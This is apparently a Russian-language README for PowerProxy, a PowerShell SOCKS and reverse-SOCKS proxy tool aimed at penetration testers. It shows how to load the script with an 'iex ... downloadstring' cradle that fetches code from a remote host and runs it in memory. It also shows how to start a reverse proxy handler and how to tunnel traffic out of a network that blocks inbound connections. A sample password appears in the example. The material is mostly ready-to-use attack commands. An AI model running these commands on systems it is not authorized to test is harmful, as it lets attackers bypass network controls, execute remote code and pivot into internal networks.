
PowerShell SOCKS-прокси с возможностями обратного прокси
PowerShell SOCKS-прокси с возможностями обратного прокси.
PowerProxy создан с учетом потребностей специалистов по тестированию на проникновение. Функциональность обратного прокси является приоритетной для обхода сетей, блокирующих входящие соединения. Соединения обратного прокси зашифрованы по умолчанию. Для SOCKS5-соединений поддерживается аутентификация по имени пользователя и паролю.
Импортируйте скрипт:
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# ИЛИ
Import-Module \\192.168.0.22\Public\PowerProxy.ps1
reverse_proxy_handler.py может создавать временные SSL-сертификаты, для чего требуется OpenSSL. Если OpenSSL не установлен на вашем компьютере (на большинстве систем на базе Linux/Unix он есть), предоставьте свой собственный сертификат или используйте опцию --no-encrypt.
Для подробного использования обратитесь к справке PowerProxy или используйте ./reverse_proxy_handler.py --help
На локальной машине запустите обработчик:
# Прослушивание обратных прокси на порту 8080. Клиенты подключаются к порту 1080 (по умолчанию)
./reverse_proxy_handler.py -p 8080
В PowerShell:
Start-ReverseSocksProxy 172.1.1.20 -Port 8080
Прокси-клиенты могут обращаться к серверу, созданному reverse_proxy_handler.py, как к настоящему SOCKS-серверу:
curl --socks4 127.0.0.1:1080 http://10.10.2.69/
Start-SocksProxy 172.10.2.20 -Port 9050
Используйте объекты PSCredential, чтобы потребовать имя пользователя и пароль:
# Создание учетных данных
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)
Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose